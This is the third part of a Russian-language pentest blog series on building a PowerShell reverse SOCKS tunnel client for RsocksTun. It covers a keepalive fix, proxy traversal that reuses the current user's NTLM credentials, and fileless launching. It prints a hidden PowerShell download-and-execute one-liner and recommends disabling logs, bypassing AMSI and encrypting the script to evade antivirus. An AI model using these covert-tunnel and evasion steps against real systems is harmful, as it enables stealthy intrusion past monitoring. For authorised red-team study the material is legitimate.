История об исследовании и разработке в 3-х частях. Часть 3 — практическая.
Буков много — пользы еще больше

Предыдущие статьи из цикла можно найти тут и здесь =)

Проверка боем


Давайте теперь проверим работу нашего скрипта на практике. Для этого попробуем выбросить обратный туннель с виртуалки (Windows 7 .net 4.7) до линуксовой VPS на Digital Ocean и затем, воспользовавшись им, зайдем обратно на Win7. В данном случае мы имитируем ситуацию, когда Windows 7 — машина Заказчика, Linux VPS — наш сервер.

На VPS (в нашем случае Ubuntu 18.04) устанавливаем и настраиваем серверную часть RsocksTun:

  • ставим голанг: apt install golang
  • берем исходники rsockstun с гита:
    git clone github.com/mis-team/rsockstun.git /opt/rstun
  • устанавливаем зависимости:
    go get github.com/hashicorp/yamux
    go get github.com/armon/go-socks5
    go get github.com/ThomsonReutersEikon/go-ntlm/ntlm
  • компилируем согласно мануалу: cd /opt/rstun; go build
  • генерируем SSL сертификат:
    openssl req -new -x509 -keyout server.key -out server.crt -days 365 -nodes
  • запускаем серверную часть:



  • На клиенте стартуем наш скрипт, указывая ему сервер для подключения, порт и пароль:



  • используем поднятый порт Socks5 сервера, чтобы сходить на mail.ru



Как видно из скриншотов – наш скрипт работает. Порадовались, мысленно воздвигли себе памятник и решили, что все идеально. Но…

Работа над ошибками


Но не все так гладко как хотелось бы…

В ходе эксплуатации скрипта выяснился один неприятный момент: если скрипт работает через не особо быстрое соединение с сервером, то при передаче больших данных может произойти ошибка, показанная на рисунке ниже



Изучив данную ошибку, мы видим, что при получении keepalive-сообщения (в то время, когда еще идет передача данных на сервер) мы пытаемся одновременно записать в сокет еще и ответ на keepalive, что и вызывает ошибку.

Чтобы исправить ситуацию, нам необходимо дождаться окончания передачи данных, а затем посылать ответ на keepalive. Но тут может возникнуть другая проблема: если keepalive сообщение придет в момент между отправкой 12—байтового заголовка и отправкой данных, то тогда мы разрушим структуру ymx пакета. Поэтому, более верным решением будет перенести полностью весь функционал по отправке данных внутрь yamuxScript, который обрабатывает события по отправке последовательно и подобных ситуаций не будет.

При этом, чтобы инструктировать yamuxScript отправлять keepalive ответы, мы можем использовать наш shared ArrayList StopFlag[0] – нулевой индекс не используется, т.к. нумерация yamux стримов начинается с 1. В этом индексе будем передавать в yamuxScript значение пинга, полученное в keepalive сообщении. По умолчанию значение будет -1, что означает отсутствие необходимости передачи. YamuxScript будет проверять это значение, и если оно будет равно 0 (первый keepalive ping = 0) или больше, то отправлять переданное значение в keepalive response:

if ($StopFlag[0] -ge 0){
#got yamux keepalive. we have to reply
$outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0]
$state.tcpstream.Write($outbuf,0,12)
$state.tcpstream.flush()
$StopFlag[0] = -1
}

Так же мы должны исключить отправку в основном потоке программы ответа на YMX SYN флаг.

Для этого, мы должны так же перенести данный функционал внутрь yamuxScript, но ввиду того, что yamux сервер не требует отправки ответа на YMX SYN и сразу начинает гнать данные, мы просто отключим отправку данного пакета и все:

#$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00)
#$tcpstream.Write($outbuf,0,12)

После этого передача больших кусков данных работает нормально.

Поддержка прокси-сервера


Теперь давайте подумаем, как мы можем заставить наш клиент работать через прокси-сервер.

Начнем с базовых основ. По идее, http-прокси (а именно http прокси работают в большинстве корпоративных сетей) предназначен для работы с протоколом HTTP, а у нас вроде как http и не пахнет. Но в природе помимо http есть ещё и https и ваш браузер может прекрасно подключаться к https сайтам через обычный http — верно?

Всему виной специальный режим работы прокси-сервера — режим CONNECT. Таким образом, если браузер хочет подключиться к серверу gmail по протоколу https через прокси-сервер, он отправляет на прокси-сервер запрос CONNECT, в котором указывает хост и порт назначения.

CONNECT gmail.com:443 HTTP/1.1
Host: gmail.com:443
Proxy-Connection: Keep-Alive

После удачного подключения к серверу gmail прокси возвращает ответ 200 OK.

HTTP/1.1 200 OK

После этого все данные от браузера напрямую передаются на сервер и наоборот. Говоря простым языком — прокси напрямую соединяет два сетевых сокета между собой — сокет браузера и сокет gmail сервера. После этого браузер начинает устанавливать ssl соединение с сервером gmail и работать с ним напрямую.

Перенося вышесказанное на наш клиент, мы сперва должны установить соединение с прокси сервером, отправить http-пакет с указанием метода CONNECT и адреса нашего yamux сервера, дождаться ответа с кодом 200 и затем уже приступить к установлению ssl-соединения.

В принципе, ничего особо сложного нет. Именно так реализован механизм подключения через прокси-сервер в golang клиенте rsockstun.

Основные трудности начинаются, в случае когда прокси сервер требует ntlm или kerberos авторизацию при подключении к себе.

В таком случае, прокси-сервер возвращает код 407 и ntlm http-заголовок в виде строки base64

HTTP/1.1 407 Proxy Authentication Required
Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA=
Date: Tue, 28 May 2019 14:06:15 GMT
Content-Length: 0

Для удачной авторизации мы должны раскодировать данную строку, вынуть из нее параметры, (такие как ntlm-challenge, имя домена). Затем, используя эти данные, а так же имя пользователя и его ntlm-хеш, мы должны сформировать ntlm response, закодировать его обратно в base64 и отправить обратно прокси-серверу.

CONNECT mail.com:443  HTTP/1.1
Host: mail.com:443
Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA==
User-Agent: curl/7.64.1
Accept: */*
Proxy-Connection: Keep-Alive

Но это ещё полбеды. Дело в том, что при запуске скрипта мы не знаем ни имени текущего пользователя, ни его ntlm-хеш пароля. Таким образом для авторизации на прокси-сервере нам нужно еще откуда то узнать username/pass.

Теоретически, мы можем реализовать данный функционал в скрипте (начиная от установления параметров аутентификации вручную, как сделано в GoLang-клиенте и заканчивая использованием дампа памяти процесса LSASS, как сделано в mimikatz), но тогда наш скрипт разрастется до неимоверных размеров и сложности, тем более что данные темы выходят за рамки данной статьи.

Подумали и решили, что мы пойдем другим путем…

Вместо того, чтобы делать авторизацию вручную — мы воспользуемся встроенным функционалом работы с прокси-сервером класса HTTPWebRequest. Но в таком случае, нам придется изменить код нашего RsocksTun сервера — ведь он при получении запроса от клиента ожидает только строку с паролем, а ему придет полноценный HTTP-запрос. В принципе — модифицировать серверную часть rsoskstun не так уж и трудоемко. Необходимо лишь определиться, в какой части http-запроса мы будем передавать пароль (допустим, это будет http-хедер XAuth) и реализовать функционал обработки http-запроса, проверки нашего хедера с паролем и отсылки обратного http-ответа (200 OK). Данный функционал мы внесли в отдельную ветку проекта RSocksTun.

После модификации Golang части RSocksTun(сервера и клиента) мы приступим к добавлению функционала работы с прокси-сервером в наш скрипт. Простейший код для класса HttpWebRequest по подключению к web-серверу через прокси выглядит так:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443")
$request.Method = "GET"
$request.Headers.Add("Xauth","password")
$proxy = new-object system.net.webproxy('http://127.0.0.1:8080');
$proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$request.Proxy = $proxy
try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit}

В данном случае мы создаем экземпляр класса HttpWebRequest, устанавливаем свойства Proxy и Credentials, добавляем кастомный http-хедер XAuth. Соответственно, наш запрос к серверам Google пойдет через прокси-сервер 127.0.0.1:8080. Если же прокси попросит авторизацию, то винда сама «подхватит» креды текущего пользователя и вставит соответствующие http-заголовки.

Вместо указания прокси-сервера вручную, мы можем использовать системные настройки прокси-сервера:

$proxy = [System.Net.WebRequest]::GetSystemWebProxy()

Итак, после того как мы подключились через прокси-сервер к нашему rsockstun-серверу и получили http-ответ с кодом 200, нам необходимо сделать небольшую хитрость, а именно — из класса HTTPWebRequest достать stream-объект для чтения/записи наподобие $tcpConnection.getStream(). Делаем мы это через механизм .Net reflection Inspection (для желающих подробнее разобраться с этим механизмом — делимся ссылкой). Это позволяет нам обращаться к методам и свойствам низлежащих классов:

#---------------------------------------------------------------------------------
# Reflection inspection to retrieve and reuse the underlying networkStream instance
$responseStream = $serverResponse.GetResponseStream()
$BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance"
$rsType = $responseStream.GetType()
$connectionProperty = $rsType.GetProperty("Connection", $BindingFlags)
$connection = $connectionProperty.GetValue($responseStream, $null)
$connectionType = $connection.GetType()
$networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags)
$tcpStream = $networkStreamProperty.GetValue($connection, $null)

Таким образом мы получили тот самый socket-stream, который соединен прокси-сервером с нашим yamux-сервером и с которым мы можем производить операции чтения/записи.

Еще один момент, который нам необходимо учесть, это механизм контроля состояния соединения. Так как мы работаем через прокси-сервер и класс HTTPWebRequest, то у нас нет свойства $tcpConnection.Connected и нам необходимо каким-либо образом контролировать состояние подключения. Это мы можем сделать через отдельный флаг $connected, он выставляется в $true после получения кода 200 от прокси-сервера и сбрасывается в $false при возникновении исключения в процессе чтения из socket-stream:

try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;}
if ($num -eq 0 ) {$connected=$false; break;}

В остальном, наш код остается без изменений.

Запуск Inline


Как правило, все здравомыслящие люди запускают подобные скрипты из файлов PS1, но иногда (а на самом деле – практически всегда) в процессе пентеста/редтима требуется запускать модули из командной строки без записи чего-либо на диск, дабы не оставлять за собой никаких следов. Тем более, что powershell прекрасно позволяет это делать через командную строку:

powershell.exe –c <powershell code>
powershell.exe –e <base64 powershell code>

Однако не стоит совсем уж расслабляться относительно скрытности запуска и выполнения команд. Потому что, во-первых, весь выполняемый powershell код логируется стандартными средствами windows в соответствующих eventlog-журналах (Windows PowerShell и Microsoft-Windows-PowerShell/Operational), а во-вторых – весь код, исполняемый внутри powershell, проходит через механизм AMSI (Anti Malware Scan Interface). Другое дело, что оба этих механизма прекрасно обходятся незамысловатыми действиями. Отключение журналов и обход AMSI — это отдельная тема для разговора и про нее мы обязательно напишем в будущих статьях или в нашем канале. Но сейчас немного о другом.

Дело в том, что наш скрипт разросся до довольно внушительных размеров и ясно, что ни в одну командную строку он не влезет (ограничение cmd в Windows – 8191 знаков). Следовательно, нам необходимо придумать способ запуска нашего скрипта без его записи на диск. И здесь нам помогут стандартные методы, используемые вредоносным ПО вот уже на протяжение почти 15-ти лет. Если коротко, то правило простое — скачать и запустить. Главное не перепутать =)
Команда по скачиванию и запуску выглядит так:

powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))"

Еще больше вариантов inline-запуска Вы можете найти на гите HarmJ0y’я:

Конечно, перед скачиванием необходимо позаботиться об отключении логов и обходе или отключении AMSI. Сам же скрипт перед скачиванием нужно зашифровать, т.к. в процессе скачивания он естественно будет проверен вдоль и поперек Вашим (или не Вашим =) ) антивирусом, а перед запуском – соответственно расшифровать. Как это сделать – ты, читатель уже должен придумать сам. Это выходит за рамки обозначенной темы. Но мы знаем крутого специалиста в этом деле — всемогущий Гугл. Примеров по зашифровке и расшифровке в сети полно, так же, как и примеров по обходу AMSI.

Заключение ко всем частям


В процессе работы мы познакомили читателя с технологией «обратных туннелей» и их применением для выполнения пентестов, показали несколько примеров таковых туннелей и рассказали об плюсах и минусах их использования.

Так же нам удалось создать powershell-клиент к RsocksTun серверу с возможностью:

  • подключения по SSL;
  • авторизации на сервере;
  • работе с yamux-сервером с поддержкой keepalive пингов;
  • мультипоточного режима работы;
  • поддержки работы через прокси-сервер с авторизацией.

Весь код rsockstun (golang и powershell) вы можете найти в соответствующей ветке на нашем гитхабе. Ветка master предназначена для работы без прокси-сервера, а ветка via_proxy – для работы через прокси и HTTP.

Будем рады услышать Ваши комментарии и предложения по улучшению кода и применимости разработки на практике.

На этом цикл наших статей по обратному туннелированию заканчивается. Очень надеемся, что вам интересно нас читать и информация оказывается полезной.

Комментарии (0)